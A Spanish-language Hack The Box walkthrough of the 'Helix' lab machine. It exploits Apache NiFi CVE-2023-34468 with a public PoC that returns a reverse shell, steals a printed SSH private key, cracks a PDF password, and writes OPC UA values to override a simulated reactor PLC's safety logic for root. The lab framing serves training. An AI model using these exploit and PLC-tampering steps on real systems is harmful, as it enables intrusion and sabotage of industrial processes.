Helix WriteUp
Table of Contents
Helix es una máquina de dificultad 🟧 Medium de la plataforma Hack The Box, ambientada en Helix Industries | Industrial Automation & Critical Infrastructure. Es una de las máquinas más realistas en cuanto a entornos OT/ICS (Operational Technology / Industrial Control Systems) publicadas en la plataforma, combinando una vulnerabilidad web clásica (Apache NiFi) con interacción directa sobre un protocolo industrial (OPC UA).
🗺️ Cadena de Ataque
nmap → vhost flow.helix.htb → Apache NiFi 1.21.0
→ CVE-2023-34468 (H2 JDBC RCE vía DBCPConnectionPool/ExecuteSQL)
→ shell como nifi
→ SSH key en support bundle (operator_id_ed25519.bak)
→ usuario operator → user.txt
→ sudo -l → /usr/local/sbin/helix-maint-console
→ "Operator Control & Safety Guide.pdf" protegido → pdf2john + john (R=6) → lógica de seguridad del PLC
→ túnel SSH a opc.tcp://127.0.0.1:4840/helix/ → uals/uaread/uawrite (python-opcua)
→ Mode=MAINTENANCE, TestOverride=True, CalibrationOffset → Temperature dentro de la ventana de mantenimiento
→ sudo helix-maint-console → root.txt
La gracia de Helix está en su segunda mitad: tras conseguir un usuario de bajo privilegio hay que hablar con un servidor OPC UA local para forzar al PLC simulado a entrar en un estado de “mantenimiento”, en lugar de un privesc Linux “de manual”.
🔍 Reconocimiento
echo "10.129.17.160 helix.htb" | sudo tee -a /etc/hosts
Escaneo de Puertos
Fase 1 — Descubrimiento rápido:
sudo nmap -p- --open -Pn --min-rate 5000 -oA ports -vvv helix.htb
Fase 2 — Versiones y scripts:
grep -oP '\d+/open' ports.gnmap | cut -d'/' -f1 | sort -u | tr '\n' ',' | sed 's/,$//' > ports.txt
sudo nmap -sCV -p$(cat ports.txt) -Pn -oA scan -vvv helix.htb
| Puerto | Servicio | Detalle |
|---|---|---|
| 22 | SSH | OpenSSH 8.9p1 (Ubuntu) |
| 80 | HTTP | nginx 1.18.0 (Ubuntu) |
Solo dos puertos visibles desde fuera. El puerto 80 sirve una landing page corporativa estática de “Helix Industries” — nada explotable a simple vista, así que toca buscar nombres virtuales.
Descubrimiento de Vhosts
ffuf -u http://helix.htb -H 'Host: FUZZ.helix.htb' -w /usr/share/wordlists/own/hackpuntes_subdomains_23565.txt -fs 154
💡 Sin el filtro
-fs 154, ffuf devuelve cientos de falsos positivos (Status: 302, Size: 154) — todo subdominio no resuelto cae en el mismo redirect por defecto de nginx. Filtrando ese tamaño quedan solo los vhosts reales.🎯 La enumeración de vhosts revela
flow.helix.htb, que apunta a la interfaz de gestión de Apache NiFi.
echo "10.129.17.160 helix.htb flow.helix.htb" | sudo tee -a /etc/hosts
Visitando http://flow.helix.htb/nifi/ aparece el panel de login de Apache NiFi, con la versión 1.21.0 visible en el pie de página y en /nifi-api/system-diagnostics. nginx hace de proxy inverso hacia NiFi (puerto 8080 interno), por lo que no hace falta especificar el puerto desde fuera.
💉 Acceso Inicial — CVE-2023-34468 (Apache NiFi H2 RCE)
🧠 Concepto: CVE-2023-34468 (CVSS 9.8) afecta a los Controller Services
DBCPConnectionPoolyHikariCPConnectionPoolde Apache NiFi 0.0.2 a 1.21.0. Un usuario autenticado puede configurar una Database URL apuntando al driver H2, embebiendo unCREATE TRIGGER(oCREATE ALIASvíaRUNSCRIPT) que ejecuta código Java/JavaScript arbitrario al inicializar la conexión. Combinado con un procesadorExecuteSQL, esto deriva en RCE en el host que ejecuta NiFi.
En el sistema se confirma la presencia del driver H2 vulnerable en /opt/nifi-1.21.0/lib/h2-2.1.214.jar, requisito imprescindible para que el exploit funcione.
Clonado del PoC
💡 Siguiendo la convención de Hackpuntes, los PoCs públicos se clonan completos en lugar de descargar un único fichero:
git clone https://github.com/Al3xx-sec/CVE-2023-34468-POC
cd CVE-2023-34468-POC
Ejecución del Exploit
El PoC automatiza todo el proceso: crea un Controller Service DBCPConnectionPool con una Database URL H2 maliciosa (que define un CREATE ALIAS para ejecutar comandos del sistema), añade un procesador ExecuteSQL enlazado a ese pool, y al arrancarlo dispara la ejecución.
penelope -p 8443
python3 CVE-2023-34468_poc.py --target http://flow.helix.htb --lhost 10.10.14.49 --lport 8443 --http-port 80 --cleanup
[*] Target: http://flow.helix.htb | LHOST: 10.10.14.49:8443 | HTTP: 80
[*] HTTP server up on :80
[*] Checking access...
[+] Identity: anonymous | Anonymous: True | canWrite: True
[+] Target is exploitable
[*] Getting root process group ID...
[+] PG ID: f203bc07-019b-1000-516b-eaedd48609d1
[*] Creating DBCPConnectionPool...
[+] CS ID: b8a044ff-019e-1000-e7b9-9f6789bc2ad7
[*] Enabling controller service...
[+] Controller service enabled
[*] Creating ExecuteSQL processor...
[+] Processor ID: b8a04dba-019e-1000-a29b-e0d2732dd787
[*] Starting processor...
[+] Processor running — waiting for shell on port 4444...
[+] rce.sql delivered to target
💡 NiFi tiene acceso anónimo con permisos de escritura (
canWrite: True) — no hace falta ninguna credencial para crear Controller Services ni procesadores. El script crea unDBCPConnectionPoolcon la URL H2 maliciosa, lo habilita, y lo enlaza a un procesadorExecuteSQLque al arrancar dispara elCREATE ALIASy ejecuta el payload de la reverse shell.
El script levanta un servidor HTTP temporal para servir el .sql malicioso, crea el Controller Service y el procesador ExecuteSQL vía la API REST de NiFi, y los habilita. Al ejecutarse el CREATE ALIAS, el JVM de NiFi lanza la reverse shell.
🚩 Shell como nifi
penelope -p 8443
[+] Listening for reverse shells on 0.0.0.0:8443 → 127.0.0.1 • 192.168.100.223 • 10.10.14.49
[+] Got reverse shell from helix~10.129.17.160-Linux-x86_64 😍 Assigned SessionID <1>
[+] Attempting to upgrade shell to PTY...
[+] Shell upgraded successfully using /usr/bin/python3! 💪
nifi@helix:/opt/nifi-1.21.0$ id
uid=998(nifi) gid=998(nifi) groups=998(nifi)
nifi@helix:/opt/nifi-1.21.0$ hostname
helix
🔎 Enumeración Post-Explotación
Robo de clave SSH desde un Support Bundle
💡 NiFi genera support bundles de diagnóstico (
nifi.sh diagnostics) que pueden contener material sensible del sistema. Buscando bajo/opt/nifi-1.21.0/aparece un directoriosupport-bundles/con un ficherooperator_id_ed25519.bak— una copia de la clave SSH privada del usuariooperator.
nifi@helix:/opt/nifi-1.21.0$ find /opt/nifi-1.21.0 -iname "*operator*" -o -iname "*.bak" 2>/dev/null
/opt/nifi-1.21.0/support-bundles/operator_id_ed25519.bak
nifi@helix:/opt/nifi-1.21.0$ cat /opt/nifi-1.21.0/support-bundles/operator_id_ed25519.bak
-----BEGIN OPENSSH PRIVATE KEY-----
b3BlbnNzaC1rZXktdjEAAAAABG5vbmUAAAAEbm9uZQAAAAAAAAABAAAAMwAAAAtzc2gtZW
QyNTUxOQAAACDouEevtXQL5puMEPQzMGEo/LSrbETsWVDH8B41VHNbOwAAAJhCUmdYQlJn
WAAAAAtzc2gtZWQyNTUxOQAAACDouEevtXQL5puMEPQzMGEo/LSrbETsWVDH8B41VHNbOw
AAAEBWd4qZPQ48ePEdHec/Fquwu8Apm+TkeJJTwODupeRtwui4R6+1dAvmm4wQ9DMwYSj8
tKtsROxZUMfwHjVUc1s7AAAAD3Jvb3RAbWFuYWdlbWVudAECAwQFBg==
-----END OPENSSH PRIVATE KEY-----
Se copia el contenido a la máquina atacante:
nano operator_id_ed25519
chmod 600 operator_id_ed25519
ssh -i operator_id_ed25519 operator@helix.htb
🚩 User Flag
operator@helix:~$ cat user.txt
<user_flag>
🧗 Escalada de Privilegios → root
Enumeración inicial
operator@helix:~$ sudo -l
Matching Defaults entries for operator on helix:
env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin, use_pty
User operator may run the following commands on helix:
(root) NOPASSWD: /usr/local/sbin/helix-maint-console
operator@helix:~$ ss -tulnp
Netid State Local Address:Port Peer Address:Port
udp UNCONN 127.0.0.1:4840 0.0.0.0:* <- OPC UA
tcp LISTEN 127.0.0.1:8081 0.0.0.0:* <- panel web de monitorización IoT
tcp LISTEN 127.0.0.1:8080 0.0.0.0:* <- Apache NiFi
/usr/local/sbin/helix-maint-console solo es invocable con sudo, sin contraseña — pero el binario comprueba el estado del PLC antes de abrir la consola de mantenimiento.
Cracking del PDF “Operator Control & Safety Guide”
En el $HOME de operator hay un PDF protegido con contraseña, además de una imagen del esquema de control:
operator@helix:~$ ls -la
total 968
drwxr-x--- 5 operator operator 4096 May 5 10:18 .
drwxr-xr-x 3 root root 4096 May 5 10:18 ..
lrwxrwxrwx 1 root root 9 Apr 20 10:14 .bash_history -> /dev/null
-rw-r--r-- 1 operator operator 220 Jan 6 2022 .bash_logout
-rw-r--r-- 1 operator operator 3771 Jan 6 2022 .bashrc
drwx------ 3 operator operator 4096 May 5 10:18 .cache
-rw------- 1 operator operator 920611 Jan 26 16:15 'control systems diagram.png'
drwxrwxr-x 5 operator operator 4096 May 5 10:18 .local
lrwxrwxrwx 1 root root 9 Jan 26 16:11 .mysql_history -> /dev/null
-rw-rw-r-- 1 operator operator 28453 Apr 16 08:50 'Operator Control & Safety Guide.pdf'
-rw-r--r-- 1 operator operator 807 Jan 6 2022 .profile
drwx------ 2 operator operator 4096 May 5 10:18 .ssh
-rw-r----- 1 root operator 33 Jun 11 21:22 user.txt
lrwxrwxrwx 1 root root 9 Jan 26 16:11 .viminfo -> /dev/null
💡 Como
pdf2johnsolo necesita leer la cabecera cifrada del PDF, primero se transfiere el fichero a la máquina atacante víascp(ya tenemos la clave SSH deoperator) y se genera el hash allí:
scp -i operator_id_ed25519 operator@helix.htb:'Operator Control & Safety Guide.pdf' .
pdf2john 'Operator Control & Safety Guide.pdf' > pdf.hash
hashcat -m 10500 pdf.hash /usr/share/wordlists/rockyou.txt
hashcat (v7.1.2) starting
[...]
Hashfile 'pdf.hash' on line 1 (Operat...9453cea981ddbb72d92650c0933785b5): Token length exception
No hashes loaded.
🧠 Concepto: Los PDF cifrados con AES usan PBKDF2 para derivar la clave a partir de la contraseña del usuario, pero el hash de
pdf2johncodifica también la versión y revisión del esquema de cifrado ($pdf$V*R*...).-m 10500solo acepta PDF 1.7 nivel 3 (R=3, RC4/AES-128). El “Token length exception” indica que este PDF usa otra revisión:
cat pdf.hash
Operator Control & Safety Guide.pdf:$pdf$5*6*256*-4*1*16*7c46c5fed97042269c802d39f7ba411b*48*a3bf8039a5f2a39d85b611b374b74debe6be3aa6f01dc1a6e8dd5cd4157499f9a3efe04ca0c999bcac23d7efd22e8366*48*c8909cc91d0fa3d97bf1ce139c46df1936b2b9dc15a305a659d5eb2b1c3172da04ddf8efbfea0a98b3e5043e883ab3e7*32*d3e8e21436f4263214102eebcf3a51d2a4e5049fc2e2aaf50e594ce952db7011*32*a3b05cab12d5403fb8e96415a023560c9453cea981ddbb72d92650c0933785b5
$pdf$V*R*... → V=5, R=6, longitud de clave 256 = AES-256 con esquema de hash de revisión 6 (PDF 2.0 / Acrobat DC, “hardened hash”). Para R=6, el formato que genera pdf2john no siempre encaja con el parser de hashcat -m 10700 (problema de compatibilidad de versiones) — en ese caso John the Ripper, que es quien genera el hash, lo crackea directamente sin problema:
john --wordlist=/usr/share/wordlists/rockyou.txt pdf.hash
Using default input encoding: UTF-8
Loaded 1 password hash (PDF [MD5 SHA2 RC4/AES 32/64])
Cost 1 (revision) is 6 for all loaded hashes
Will run 4 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status
operator1 (Operator Control & Safety Guide.pdf)
1g 0:00:00:51 DONE (2026-06-11 23:55) 0.01940g/s 5123p/s 5123c/s 5123C/s orphee..olivetree
Use the "--show --format=PDF" options to display all of the cracked passwords reliably
🎯 Contraseña del PDF:
operator1
Tras abrir el PDF con esa contraseña, el documento (“Helix Industries — Reactor Operations & Safety Logic — Operator Guide”) describe la lógica de seguridad del PLC del reactor y las condiciones exactas para entrar en una ventana de mantenimiento:
🧠 Variables clave del PLC
- Temperature / Pressure — variables de proceso del reactor
- CalibrationOffset — ajuste de calibración exclusivo de mantenimiento (en
NORMALdebe ser0.0)- TripActive, RodsInserted, EmergencyCooling — variables de seguridad, gestionadas automáticamente
- Mode (
NORMAL/MAINTENANCE), TestOverride, ResetTrip — variables de control del operadorUmbrales de trip de seguridad:
Temperature ≥ ~305°CoPressure ≥ ~75 bar→TripActive = TRUE, control bloqueado.Ventana de mantenimiento — se abre cuando:
Temperature ≥ ~295°CoPressure ≥ 73 bar- Pressure y Temperature siguen por debajo de los umbrales de trip
- No hay ningún trip activo (
TripActive = FALSE)Para entrar en mantenimiento:
Mode = MAINTENANCE→TestOverride = TRUE→ ajuste controlado y gradual deCalibrationOffsethasta entrar en la ventana, sin disparar el trip.
El siguiente paso es conectar al endpoint OPC UA local con python-opcua para localizar estos nodos en el espacio de direcciones del PLC y reproducir esta secuencia.
Manipulación del PLC vía OPC UA
🧠 Concepto: OPC UA (OPC Unified Architecture) es el protocolo estándar de comunicación en entornos industriales (SCADA/ICS) para intercambiar datos entre PLCs, sensores y sistemas SCADA. Helix expone un endpoint OPC UA local en
opc.tcp://127.0.0.1:4840/helix/, solo accesible desde el propio host.
Se instala el cliente python-opcua (incluye las utilidades uals, uaread y uawrite) en la máquina atacante:
pipx install opcua
Como el endpoint solo escucha en 127.0.0.1 del propio Helix, hace falta un túnel SSH para llevarse el puerto a Kali:
ssh -i operator_id_ed25519 -L 4840:127.0.0.1:4840 operator@helix.htb
Con el túnel levantado, se navega el espacio de nombres desde Kali apuntando a 127.0.0.1:4840:
uals -u opc.tcp://127.0.0.1:4840/helix/ -n "ns=2;i=1"
cryptography is not installed, use of crypto disabled
cryptography is not installed, use of crypto disabled
Browsing node ns=2;i=1 at opc.tcp://127.0.0.1:4840/helix/
DisplayName NodeId BrowseName Value
Reactor ns=2;i=2 2:Reactor
Safety ns=2;i=7 2:Safety
Control ns=2;i=11 2:Control
💡 El aviso “cryptography is not installed, use of crypto disabled” es solo informativo —
python-opcuano soporta políticas de seguridad cifradas sin el extracryptography, pero el endpoint usaSecurity Policy: None, así que no afecta.
El espacio de nombres confirma la estructura descrita en el PDF: Reactor (Temperature, Pressure, CalibrationOffset), Safety (TripActive, RodsInserted, EmergencyCooling) y Control (Mode, TestOverride, ResetTrip), cada uno bajo su propio nodo padre. Se navega cada rama para obtener los NodeId y valores actuales:
uals -u opc.tcp://127.0.0.1:4840/helix/ -n "ns=2;i=2"
uals -u opc.tcp://127.0.0.1:4840/helix/ -n "ns=2;i=7"
uals -u opc.tcp://127.0.0.1:4840/helix/ -n "ns=2;i=11"
DisplayName NodeId BrowseName Value
TemperatureRaw ns=2;i=3 2:TemperatureRaw , 282.9230620168299
Temperature ns=2;i=4 2:Temperature , 282.9230620168299
Pressure ns=2;i=5 2:Pressure , 68.92659629905303
CalibrationOffset ns=2;i=6 2:CalibrationOffset , 0.0
RodsInserted ns=2;i=8 2:RodsInserted , False
EmergencyCooling ns=2;i=9 2:EmergencyCooling , False
TripActive ns=2;i=10 2:TripActive , False
Mode ns=2;i=12 2:Mode , NORMAL
TestOverride ns=2;i=13 2:TestOverride , False
ResetTrip ns=2;i=14 2:ResetTrip , False
| NodeId | Variable | Valor inicial |
|---|---|---|
ns=2;i=4 | Temperature | 282.92 |
ns=2;i=5 | Pressure | 68.93 |
ns=2;i=6 | CalibrationOffset | 0.0 |
ns=2;i=10 | TripActive | False |
ns=2;i=12 | Mode | NORMAL |
ns=2;i=13 | TestOverride | False |
Recordando los umbrales del PDF: la ventana de mantenimiento se abre con Temperature ≥ ~295°C o Pressure ≥ 73 bar, mientras que el trip salta en Temperature ≥ ~305°C / Pressure ≥ ~75 bar. Con los valores actuales (Temperature=282.92, Pressure=68.93), hace falta subir CalibrationOffset sin pasarse de esos límites.
Primero se activa el modo mantenimiento y el override de pruebas:
uawrite -u opc.tcp://127.0.0.1:4840/helix/ -n "ns=2;i=12" -t string MAINTENANCE
uawrite -u opc.tcp://127.0.0.1:4840/helix/ -n "ns=2;i=13" -t bool True
Y se empieza a subir CalibrationOffset poco a poco, comprobando el efecto sobre Temperature y Pressure tras cada cambio:
uawrite -u opc.tcp://127.0.0.1:4840/helix/ -n "ns=2;i=6" -t double 5.0
uaread -u opc.tcp://127.0.0.1:4840/helix/ -n "ns=2;i=4"
uaread -u opc.tcp://127.0.0.1:4840/helix/ -n "ns=2;i=5"
uaread -u opc.tcp://127.0.0.1:4840/helix/ -n "ns=2;i=10"
289.33401141662006 <- Temperature
69.22247725105946 <- Pressure
False <- TripActive
🎯 Con
CalibrationOffset = 5.0,Temperaturesube de282.92a289.33(+6.41) mientras quePressureapenas se mueve (+0.29). El offset afecta sobre todo a la temperatura, que tiene mucho más margen hasta el trip (305) que la presión (75, a solo~6del valor inicial). La vía segura para entrar en la ventana de mantenimiento es subirTemperaturepor encima de295víaCalibrationOffset, dejandoPressurecasi intacta.
Se sube el offset a 10.0:
uawrite -u opc.tcp://127.0.0.1:4840/helix/ -n "ns=2;i=6" -t double 10.0
uaread -u opc.tcp://127.0.0.1:4840/helix/ -n "ns=2;i=4"
uaread -u opc.tcp://127.0.0.1:4840/helix/ -n "ns=2;i=5"
uaread -u opc.tcp://127.0.0.1:4840/helix/ -n "ns=2;i=10"
294.5926630532557 <- Temperature
69.363813517732 <- Pressure
False <- TripActive
Temperature = 294.59, todavía por debajo del umbral 295 de la ventana por un margen mínimo. Pressure sigue prácticamente plana (69.36) y TripActive sigue False. Hace falta un empujón más, pequeño.
Se sube a 11.0:
uawrite -u opc.tcp://127.0.0.1:4840/helix/ -n "ns=2;i=6" -t double 11.0
uaread -u opc.tcp://127.0.0.1:4840/helix/ -n "ns=2;i=4"
uaread -u opc.tcp://127.0.0.1:4840/helix/ -n "ns=2;i=5"
uaread -u opc.tcp://127.0.0.1:4840/helix/ -n "ns=2;i=10"
294.5991042574932 <- Temperature
69.35433658606945 <- Pressure
False <- TripActive
Apenas hay cambio respecto a offset=10.0 (294.5926 → 294.5991): la subida de Temperature se está aplanando, no es lineal con CalibrationOffset. Parece que el valor converge hacia un límite cercano a ~294.6 y necesita más “empuje” (offset bastante mayor) para cruzar el 295.
Se prueba un salto mayor, a 30.0:
uawrite -u opc.tcp://127.0.0.1:4840/helix/ -n "ns=2;i=6" -t double 30.0
uaread -u opc.tcp://127.0.0.1:4840/helix/ -n "ns=2;i=4"
uaread -u opc.tcp://127.0.0.1:4840/helix/ -n "ns=2;i=5"
uaread -u opc.tcp://127.0.0.1:4840/helix/ -n "ns=2;i=10"
311.2887735080892 <- Temperature
68.84694914415067 <- Pressure
True <- TripActive
⚠️ Sobrepasado:
Temperature = 311.29supera el umbral de trip (~305) yTripActivepasa aTrue. Según el PDF, un trip queda latched (bloqueado) y no se puede limpiar arbitrariamente — el reactor entra en parada de seguridad y los inputs del operador quedan restringidos hasta cumplir las condiciones de reset.
Recuperación tras el Trip — ResetTrip
El PDF especifica las condiciones exactas para que ResetTrip sea aceptado:
Temperature < ~288°CPressure < ~70 barMode = NORMALTestOverride = FalseCalibrationOffset = 0.0
Se revierten todas las variables a su estado seguro:
uawrite -u opc.tcp://127.0.0.1:4840/helix/ -n "ns=2;i=6" -t double 0.0
uawrite -u opc.tcp://127.0.0.1:4840/helix/ -n "ns=2;i=12" -t string NORMAL
uawrite -u opc.tcp://127.0.0.1:4840/helix/ -n "ns=2;i=13" -t bool False
Tras unos segundos (el sistema necesita tiempo para que Temperature y Pressure bajen de nuevo), se confirma con uaread el estado de todas las variables relevantes:
283.99424562137494 <- Temperature (< 288 ✓)
68.99885874228286 <- Pressure (< 70 ✓)
0.0 <- CalibrationOffset ✓
NORMAL <- Mode ✓
False <- TestOverride ✓
Con las cinco condiciones cumplidas, se solicita el reset del trip:
uawrite -u opc.tcp://127.0.0.1:4840/helix/ -n "ns=2;i=14" -t bool True
uaread -u opc.tcp://127.0.0.1:4840/helix/ -n "ns=2;i=10"
False <- TripActive
✅
TripActive = False— el trip queda limpiado. Un primer intento deResetTrip(lanzado justo después del overshoot, conTemperaturetodavía por encima de288) no funcionó — confirma que el PLC valida las condiciones en el momento exacto de la escritura, no de forma diferida.
Se vuelve a entrar en modo mantenimiento y, esta vez, se prueba con un offset intermedio (18.0) en vez de saltar directo a 30.0:
uawrite -u opc.tcp://127.0.0.1:4840/helix/ -n "ns=2;i=12" -t string MAINTENANCE
uawrite -u opc.tcp://127.0.0.1:4840/helix/ -n "ns=2;i=13" -t bool True
uawrite -u opc.tcp://127.0.0.1:4840/helix/ -n "ns=2;i=6" -t double 18.0
uaread -u opc.tcp://127.0.0.1:4840/helix/ -n "ns=2;i=4"
uaread -u opc.tcp://127.0.0.1:4840/helix/ -n "ns=2;i=10"
302.1703913181868 <- Temperature (dentro de la ventana 295–305 ✓)
False <- TripActive
🎯
Temperature = 302.17cae dentro de la ventana de mantenimiento (295 ≤ Temperature < 305) sin disparar el trip (TripActive = False). ConMode = MAINTENANCE,TestOverride = TrueyTemperatureen este rango, todas las condiciones del PDF para la ventana de mantenimiento se cumplen.
helix-maint-console — Consola de Mantenimiento Privilegiada
Antes de tocar nada vía OPC UA, se comprueba el estado actual del binario privilegiado:
operator@helix:~$ sudo /usr/local/sbin/helix-maint-console
Maintenance window CLOSED.
💡 Esto confirma lo descrito en el PDF:
helix-maint-consolevalida en tiempo real, contra el PLC vía OPC UA, que el reactor esté dentro de la ventana de mantenimiento (Mode = MAINTENANCE,TestOverride = TRUE,Temperature ≥ ~295°CoPressure ≥ 73 bar, sin trip activo). Con el reactor en su estado normal, la ventana está cerrada — toca usaruawritepara llevar al PLC a ese estado.
Con Temperature = 302.17 dentro de la ventana, TripActive = False, Mode = MAINTENANCE y TestOverride = True, se vuelve a lanzar la consola:
operator@helix:~$ sudo /usr/local/sbin/helix-maint-console
[+] Privileged maintenance access granted
[!] Window expires in 105 seconds
[!] Session will be terminated automatically
root@helix:/home/operator#
🎯
helix-maint-consolevalida el estado del PLC vía OPC UA y, al estar dentro de la ventana de mantenimiento, abre directamente una shell como root — con un aviso de que la ventana expira en 105 segundos y la sesión se cerrará automáticamente cuando el reactor vuelva a su estado normal.
🏴 Root Flag
root@helix:/home/operator# cat /root/root.txt
📝 Resumen de la Cadena
| # | Técnica | Herramienta | Resultado |
|---|---|---|---|
| 1 | Descubrimiento de vhost flow.helix.htb | nmap, ffuf | Acceso a interfaz Apache NiFi 1.21.0 |
| 2 | CVE-2023-34468 — RCE vía H2 JDBC en DBCPConnectionPool | git clone PoC, NiFi ExecuteSQL, penelope | Shell como nifi |
| 3 | Robo de clave SSH desde support bundle | Enumeración de ficheros | Acceso SSH como operator + user.txt 🚩 |
| 4 | Cracking de “Operator Control & Safety Guide.pdf” | scp, pdf2john, john (R=6) | Lógica de seguridad del reactor (umbrales, ventana de mantenimiento) |
| 5 | Enumeración del espacio de nombres OPC UA | python-opcua (uals) vía túnel SSH | Mapa de nodos: Reactor, Safety, Control |
| 6 | Manipulación del PLC vía OPC UA (uawrite/uaread) | python-opcua | Mode=MAINTENANCE, TestOverride=True, CalibrationOffset=18.0 → Temperature≈302 dentro de la ventana de mantenimiento |
| 7 | sudo helix-maint-console con PLC en ventana de mantenimiento | sudo | Shell como root + root.txt 🏴 |
Un saludo, nos vemos en el próximo challenge.
